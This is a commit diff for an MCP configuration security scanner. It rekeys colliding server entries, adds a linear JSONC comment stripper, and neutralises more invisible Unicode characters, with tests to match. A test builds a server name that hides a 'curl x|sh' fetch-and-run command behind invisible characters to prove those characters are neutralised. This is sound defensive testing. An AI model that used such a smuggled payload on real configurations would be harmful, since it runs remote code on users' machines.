fix(doctor): (map,name)-keyed union, linear JSONC, wider invisible-char alphabet (DSE-1529)

CHANGELOG.md

@@ -30,8 +30,18 @@ Streamable HTTP; the v0.3 `guard` proxy adds deterministic runtime *result* insp
 
 ## [Unreleased]
 
-_Nothing yet._
+### Fixed
 
+- **`doctor` follow-ups from the security review of #98 (DSE-1529).** `#servers` is no
+  longer a reserved namespace: config entries are keyed on `(map, name)` and the display
+  key is derived afterwards, unique by construction, so a server the user really named
+  `x#servers` is neither overwritten by the synthetic `mcpServers`/`servers` collision
+  key nor falsely flagged `WRD-DOCTOR-AMBIGUOUS-SERVER`; ambiguity is recorded per
+  display key. `strip_jsonc` is one string-aware linear pass (the regex form
+  back-tracked once per unterminated `/*` and went quadratic on a hostile VS Code
+  `mcp.json`). `safe_text` also neutralises the soft hyphen, `U+2060`–`U+2064`, the BOM,
+  and the Unicode Tags block. `docs/DOCTOR.md` now documents `--config` resolved-path
+  de-duplication / explicit-replaces-discovered and the `safe_text` caveat on printed URLs.
 ## [1.2.0] — 2026-09-04
 
 ### Added

DOCUMENTATION_INDEX.md

@@ -58,6 +58,7 @@ lock-coverage check per server, then prints the exact `pin` command for anything
 | [`docs/DOCTOR.md`](docs/DOCTOR.md) | Contract — the per-platform discovery table, the symlink-escape rule, what runs per server, lock-coverage matching, the static-by-default guarantee, the `--pin` opt-in contract, exit codes |
 | [`src/mcp_warden/doctor_paths.py`](src/mcp_warden/doctor_paths.py) | Pure path enumeration for (platform, home, cwd, env): the per-platform well-known set, the `.git`/home-bounded project walk-up, the symlink-component guard |
 | [`src/mcp_warden/doctor_discovery.py`](src/mcp_warden/doctor_discovery.py) | Fail-closed loaders — union of `mcpServers` + VS Code `servers` (conflicts → `WRD-DOCTOR-AMBIGUOUS-SERVER`), `~/.claude.json` per-project, Codex TOML, string-aware JSONC; per-candidate hard-error / skip accounting |
+| [`src/mcp_warden/doctor_jsonc.py`](src/mcp_warden/doctor_jsonc.py) | `strip_jsonc` — one linear, string-aware pass over VS Code JSONC (comments + trailing commas); an unterminated string or `/*` leaves the remainder untouched so it fails closed (DSE-1529) |
 | [`src/mcp_warden/doctor_funnel.py`](src/mcp_warden/doctor_funnel.py) | `safe_text` (C0/C1/NEL/zero-width/bidi neutralisation), lock naming, the masking rules and byte-preserving URL redaction behind the printed `pin` command |
 | [`src/mcp_warden/doctor.py`](src/mcp_warden/doctor.py) | Bounded lock discovery, `pin.approved`-aware coverage, per-server composition of `audit_server` + `check_launch_command` + `WRD-DOCTOR-*`, resolved-path de-duplication of `--config` |
 | [`src/mcp_warden/cli_doctor.py`](src/mcp_warden/cli_doctor.py) | `doctor` command body (register idiom): report rendering, JSONL/SARIF, the `--pin`/`--yes` TTY contract |

docs/DOCTOR.md

@@ -41,11 +41,15 @@ Every JSON file is loaded as the **union** of its `mcpServers` and `servers` map
 Code reads `servers`; if a file also carried a benign `mcpServers` and only that map
 were audited, a decoy could hide the map the client actually loads. A name present
 under both keys with an identical body is loaded once; with *different* bodies both
-are audited (the second as `<name>#servers`) and each is flagged
-`WRD-DOCTOR-AMBIGUOUS-SERVER` (medium). The JSONC pass (VS Code) is string-aware in
-**both** of its stages — comment stripping and trailing-comma removal — so a value
-such as `"echo {a, }"` is audited and pinned byte-for-byte as the client launches
-it. On Windows the two `%APPDATA%` entries
+are audited and each is flagged `WRD-DOCTOR-AMBIGUOUS-SERVER` (medium). Entries are
+keyed on `(map, name)` and the display key is derived afterwards, unique by
+construction: the `servers` copy is shown as `<name>#servers` with `#` appended until
+the key is free, so `#servers` is **not** a reserved namespace — a server the user
+really named `x#servers` is never overwritten by the synthetic key and, on its own, is
+never flagged ambiguous. The JSONC pass (VS Code) is a single string-aware,
+left-to-right scan — comments and trailing commas are handled in one linear pass — so
+a value such as `"echo {a, }"` is audited and pinned byte-for-byte as the client
+launches it, and a hostile file full of unterminated `/*` cannot wedge the scan. On Windows the two `%APPDATA%` entries
 are simply absent when `APPDATA` is unset — the location is never guessed.
 
 ### Project walk-up boundary
@@ -62,7 +66,10 @@ world-writable `/tmp/.mcp.json`.
 A discovered path with a **symlink at any component below its base** (the home
 directory for user-level entries, the ancestor directory for project-level entries)
 is **skipped with a stderr warning** and its target is never read. An explicit
-`--config PATH` is trusted as given and may be a symlink.
+`--config PATH` is trusted as given and may be a symlink. `--config` paths are
+de-duplicated by **resolved** path (a symlink and its target are one file, scanned
+once with a warning), and an explicit path **replaces** the discovered source for the
+same file — naming it is what makes it `--pin`-eligible (§4).
 
 ### Size cap
 
@@ -103,7 +110,9 @@ buffer can be tricked by becomes `U+FFFD` — C0 + DEL (`U+0000`–`U+001F`, `U+
 the C1 range (`U+0080`–`U+009F`; `U+009B` is CSI and `U+009D` is OSC on xterm-family
 terminals), NEL, the zero-width and directional marks (`U+200B`–`U+200F`), the line
 and paragraph separators (`U+2028`, `U+2029`), and both bidi-override blocks
-(`U+202A`–`U+202E`, `U+2066`–`U+2069` — Trojan Source, CVE-2021-42574) — and the
+(`U+202A`–`U+202E`, `U+2066`–`U+2069` — Trojan Source, CVE-2021-42574), the soft
+hyphen (`U+00AD`), the word joiner and invisible operators (`U+2060`–`U+2064`), the
+BOM (`U+FEFF`), and the Unicode Tags block (`U+E0000`–`U+E007F`) — and the
 string is capped at 200 characters. Rich markup is then escaped where markup is on, and the JSONL / pin
 blocks print with `markup=False`. A server named
 `gh\n  mcp-warden pin sh -c '…'` therefore renders as one line with a visible `�`,
@@ -166,7 +175,10 @@ launch lines carry credentials in shapes the config audit never sees:
   that is auth-shaped (`#token=…`) or token-like is replaced. Scheme and host stay
   visible. When nothing needs masking the URL is printed **byte-for-byte** as it
   appears in the config — never re-encoded — so the lock the user pins from the
-  printed command is the lock `doctor` recognises on the next run.
+  printed command is the lock `doctor` recognises on the next run. "Byte-for-byte" is
+strictly *after* `safe_text()`: a URL carrying a neutralised character or longer than
+2048 characters prints differently from the config, and the lock pinned from that
+printed line will not match `lock_covers` — fix the config value first.
 
 When two server names slug to the same file (`a/b` and `a-b`), the second gets a
 short hash suffix. The block ends with the GitHub Action snippet.

src/mcp_warden/doctor.py

@@ -146,10 +146,9 @@ def scan_server(
     if isinstance(command, str) and command:
         args = [str(a) for a in (server.get("args") or [])]
         findings += _retarget(check_launch_command(command, args), target)
-    base = name[: -len("#servers")] if name.endswith("#servers") else name
-    if base in source.ambiguous:
+    if name in source.ambiguous:  # display keys, not a suffix rule: a real `x#servers` is never flagged
         findings.append(_finding(
-            "WRD-DOCTOR-AMBIGUOUS-SERVER", "medium", target, base,
+            "WRD-DOCTOR-AMBIGUOUS-SERVER", "medium", target, name,
             "declared under both mcpServers and servers with different definitions; a decoy map "
             "can hide the one the client loads from an audit — keep exactly one",
         ))

src/mcp_warden/doctor_discovery.py

@@ -20,13 +20,13 @@
 from __future__ import annotations
 
 import json
-import re
 import tomllib
 from collections.abc import Callable, Mapping
 from dataclasses import dataclass, field
 from pathlib import Path
 from typing import Any
 
+from .doctor_jsonc import strip_jsonc
 from .doctor_paths import (
     FMT_CLAUDE_JSON,
     FMT_CODEX_TOML,
@@ -53,9 +53,10 @@
 class ConfigSource:
     """One discovered (or explicitly given) map of MCP servers.
 
-    ``ambiguous`` names every server declared under *both* ``mcpServers`` and
-    ``servers`` with different definitions; the second definition is kept
-    under ``<name>#servers`` so both get audited and the collision is reported.
+    ``ambiguous`` holds the display keys of every entry declared under *both*
+    ``mcpServers`` and ``servers`` with different definitions; the ``servers``
+    copy is kept under a unique ``<name>#servers…`` key so both get audited and
+    the collision is reported on each.
     """
 
     client: str
@@ -84,55 +85,52 @@ class DoctorError(ValueError):
     """Raised on an unreadable or malformed config (fail closed, exit 2)."""
 
 
-# --- JSONC ---------------------------------------------------------------------
-
-_STRING = r'"(?:[^"\\]|\\.)*"'
-_COMMENT_PASS = re.compile(rf"{_STRING}|//[^\n]*|/\*.*?\*/", re.S)
-_COMMA_PASS = re.compile(rf"{_STRING}|,(\s*[}}\]])", re.S)
-
-
-def strip_jsonc(text: str) -> str:
-    """Remove ``//`` / ``/* */`` comments and trailing commas — outside strings only.
-
-    Both passes tokenise string literals first and return them verbatim, so a
-    ``"//"`` or ``"echo {a, }"`` inside a value is never touched. Anything the
-    tokeniser cannot pair degrades to invalid JSON, which fails closed.
-    """
-    no_comments = _COMMENT_PASS.sub(lambda m: m.group(0) if m.group(0)[0] == '"' else " ", text)
-    return _COMMA_PASS.sub(lambda m: m.group(0) if m.group(0)[0] == '"' else m.group(1), no_comments)
+# --- loaders -------------------------------------------------------------------
 
 
-# --- loaders -------------------------------------------------------------------
+_MAPS = ("mcpServers", "servers")
 
 
 def _servers_from_doc(doc: Any, where: str) -> tuple[dict[str, dict[str, Any]], tuple[str, ...]]:
-    """Extract ``{name: server}`` from a parsed document — the UNION of both keys.
-
-    A name present under both ``mcpServers`` and ``servers`` with an identical
-    body is loaded once. With *different* bodies both are kept — the second as
-    ``<name>#servers`` — and the name is returned as ambiguous: a decoy map is
-    itself a signal (``WRD-DOCTOR-AMBIGUOUS-SERVER``).
+    """Extract ``{display: server}`` from a parsed document — the UNION of both maps.
+
+    Entries are keyed on ``(map, name)`` first; the display key is derived
+    afterwards so it is *unique by construction*: a name present under both
+    ``mcpServers`` and ``servers`` with an identical body is loaded once; with
+    *different* bodies both are kept — the ``servers`` copy as ``<name>#servers``,
+    with ``#`` appended until the key is free, so a server the user really named
+    ``x#servers`` is never overwritten. The returned ``ambiguous`` tuple holds the
+    **display keys** of every colliding entry (not a bare-name suffix rule), so a
+    user-named ``x#servers`` on its own is never flagged (CSO review of #98, N8).
     """
     if not isinstance(doc, dict):
         raise DoctorError(f"{where}: top-level config must be an object")
-    out: dict[str, dict[str, Any]] = {}
-    ambiguous: list[str] = []
-    for key in ("mcpServers", "servers"):
+    entries: dict[tuple[str, str], dict[str, Any]] = {}
+    for key in _MAPS:
         raw = doc.get(key)
         if raw is None:
             continue
         if not isinstance(raw, dict):
             raise DoctorError(f"{where}: {key} must be an object")
         for k, v in raw.items():
-            if not isinstance(v, dict):
-                continue
-            name = str(k)
-            if name in out:
-                if out[name] == v:
-                    continue
-                ambiguous.append(name)
-                name = f"{name}#servers"
-            out[name] = v
+            if isinstance(v, dict):
+                entries[(key, str(k))] = v
+    out: dict[str, dict[str, Any]] = {}
+    ambiguous: list[str] = []
+    for (map_key, name), body in entries.items():
+        other = entries.get((_MAPS[0], name)) if map_key == _MAPS[1] else None
+        if other is not None and other == body:
+            continue  # identical under both maps: one server, loaded once
+        display = name
+        if other is not None:
+            display = f"{name}#servers"
+            while display in out:
+                display += "#"
+            ambiguous += [name, display]  # mcpServers entries load first, under their own name
+        elif display in out:  # a real name colliding with a synthetic key: keep both
+            while display in out:
+                display += "#"
+        out[display] = body
     return out, tuple(ambiguous)
 
 

src/mcp_warden/doctor_funnel.py

@@ -21,9 +21,15 @@
 #: Everything a terminal or a copy buffer can be tricked by: C0 + DEL, the C1
 #: range (U+009B is CSI and U+009D is OSC on xterm-family terminals in UTF-8
 #: mode), NEL, zero-width and directional marks (U+200B–U+200F), the Unicode
-#: line/paragraph separators, and both bidi-override blocks (Trojan Source,
-#: CVE-2021-42574 — a reordered ``pin`` line still runs in source order).
-_CONTROL = re.compile(r"[\x00-\x1f\x7f-\x9f\u200b-\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]")
+#: line/paragraph separators, both bidi-override blocks (Trojan Source,
+#: CVE-2021-42574 — a reordered ``pin`` line still runs in source order), and
+#: the remaining invisibles: soft hyphen, word joiner + the invisible operators
+#: (U+2060–U+2064), the BOM / zero-width no-break space, and the Unicode Tags
+#: block (U+E0000–U+E007F), which most terminals render as nothing at all.
+_CONTROL = re.compile(
+    r"[\x00-\x1f\x7f-\x9f\u00ad\u200b-\u200f\u2028\u2029\u202a-\u202e\u2060-\u2064"
+    r"\u2066-\u2069\ufeff\U000e0000-\U000e007f]"
+)
 
 
 def safe_text(s: object, max_len: int = 200) -> str:

src/mcp_warden/doctor_jsonc.py

@@ -0,0 +1,80 @@
+"""JSONC → JSON for VS Code ``mcp.json`` — one linear, string-aware pass (DSE-1516/1529).
+
+Split from ``doctor_discovery.py`` to keep that module under the LOC budget.
+VS Code permits ``//`` and ``/* */`` comments and trailing commas; a client
+loads such a file happily, so ``doctor`` must audit exactly what it loads.
+"""
+
+from __future__ import annotations
+
+import re
+
+__all__ = ["strip_jsonc"]
+
+_STRING_END = re.compile(r'(?:[^"\\]|\\.)*"')
+
+
+def strip_jsonc(text: str) -> str:
+    """Remove ``//`` / ``/* */`` comments and trailing commas — outside strings only.
+
+    One left-to-right, string-aware pass, linear in the input: a string literal
+    is copied verbatim (so a ``"//"`` or ``"echo {a, }"`` inside a value is never
+    touched), a comment becomes a single space, and a ``,`` is held back until
+    the next token shows whether it is trailing. An unterminated string or
+    ``/*`` leaves the remainder untouched, which is invalid JSON and fails
+    closed — the earlier regex form back-tracked once per unterminated ``/*``
+    and went quadratic on a hostile file (CSO review of #98, N9).
+    """
+    out: list[str] = []
+    pending_comma = False  # a ',' seen, not yet emitted: dropped if '}' / ']' follows
+    i, n = 0, len(text)
+    while i < n:
+        ch = text[i]
+        if ch == '"':
+            m = _STRING_END.match(text, i + 1)
+            if m is None:  # unterminated: leave the rest as-is (invalid JSON)
+                if pending_comma:
+                    out.append(",")
+                out.append(text[i:])
+                break
+            end = m.end()
+            if pending_comma:
+                out.append(",")
+                pending_comma = False
+            out.append(text[i:end])
+            i = end
+            continue
+        if ch == "/" and text.startswith("//", i):
+            nl = text.find("\n", i)
+            out.append(" ")
+            i = n if nl == -1 else nl
+            continue
+        if ch == "/" and text.startswith("/*", i):
+            close = text.find("*/", i + 2)
+            if close == -1:  # unterminated block comment: leave the rest as-is
+                if pending_comma:
+                    out.append(",")
+                out.append(text[i:])
+                break
+            out.append(" ")
+            i = close + 2
+            continue
+        if ch == ",":
+            if pending_comma:
+                out.append(",")
+            pending_comma = True
+            i += 1
+            continue
+        if ch in " \t\r\n":
+            out.append(ch)
+            i += 1
+            continue
+        if pending_comma:
+            if ch not in "}]":
+                out.append(",")
+            pending_comma = False
+        out.append(ch)
+        i += 1
+    if pending_comma:
+        out.append(",")
+    return "".join(out)

tests/test_doctor_security.py

@@ -13,6 +13,7 @@
 import json
 import subprocess
 import sys
+import time
 from pathlib import Path
 
 import pytest
@@ -324,3 +325,60 @@ def test_explicit_config_is_deduped_by_resolved_path(tmp_path, monkeypatch):
     rows = [line for line in r.output.splitlines() if line.startswith("{")]
     assert sum("WRD-AUTH-PLAINTEXT-HTTP" in row for row in rows) == 1
     assert "scanning it once" in r.output
+
+
+# --- DSE-1529 N8: `#servers` is not a reserved namespace ---------------------------------
+
+
+def test_user_named_hash_servers_entry_is_neither_dropped_nor_flagged(tmp_path):
+    p = tmp_path / "m.json"
+    p.write_text(json.dumps({
+        "mcpServers": {"gh": {"url": "https://a.example.com"}, "gh#servers": {"url": "https://m.example.com"}},
+        "servers": {"gh": {"url": "https://b.example.com"}},
+    }))
+    src = load_config("c", p, FMT_JSON, "m")[0]
+    # All three bodies survive: the real `gh#servers` keeps its key, the synthetic one gets `#` appended.
+    assert src.servers["gh#servers"] == {"url": "https://m.example.com"}
+    assert src.servers["gh#servers#"] == {"url": "https://b.example.com"}
+    assert src.servers["gh"] == {"url": "https://a.example.com"}
+    # Only the colliding pair is ambiguous; the user-named `gh#servers` is not.
+    assert set(src.ambiguous) == {"gh", "gh#servers#"}
+
+
+def test_user_named_hash_servers_alone_is_not_flagged_ambiguous(tmp_path, monkeypatch):
+    monkeypatch.chdir(tmp_path)
+    home = _home_with(tmp_path, {"x#servers": {"url": "https://h.example.com", "headers": {"Authorization": "Bearer ${T}"}}})
+    r = _run("--json", home=home)
+    assert "WRD-DOCTOR-AMBIGUOUS-SERVER" not in r.output and "x#servers" in r.output
+
+
+# --- DSE-1529 N9: strip_jsonc is linear on a hostile file ---------------------------------
+
+
+def test_strip_jsonc_is_linear_on_unterminated_block_comments():
+    hostile = "/* " * 200_000  # ~600 KB of openers with no `*/` anywhere: the old regex went quadratic here
+    t0 = time.perf_counter()
+    out = strip_jsonc(hostile)
+    assert time.perf_counter() - t0 < 2.0
+    assert out == hostile  # left untouched -> invalid JSON -> fails closed
+    with pytest.raises(json.JSONDecodeError):
+        json.loads(out)
+
+
+def test_strip_jsonc_single_pass_handles_comments_between_comma_and_close():
+    src = '{"a": [1, 2, /* c */ ], "b": {"k": "v", // trailing\n}, "s": "/* not */ // not", }'
+    assert json.loads(strip_jsonc(src)) == {"a": [1, 2], "b": {"k": "v"}, "s": "/* not */ // not"}
+    assert strip_jsonc('{"a":1') == '{"a":1' and strip_jsonc('{"a": "unterminated') == '{"a": "unterminated'
+
+
+# --- DSE-1529 N11: the remaining invisibles are neutralised --------------------------------
+
+
+@pytest.mark.parametrize("ch", ["\ufeff", "\u2060", "\u2064", "\u00ad", "\U000e0001", "\U000e007f"])
+def test_invisible_format_characters_are_neutralised(tmp_path, monkeypatch, ch):
+    monkeypatch.chdir(tmp_path)
+    name = f"gh{ch}  mcp-warden pin sh -c 'curl x|sh' --approve #"
+    home = _home_with(tmp_path, {name: {"url": "http://h.example.com/mcp"}})
+    r = _run(home=home)
+    assert r.exit_code == 1 and ch not in r.output and "\ufffd" in r.output
+    assert safe_text(f"a{ch}b") == "a\ufffdb"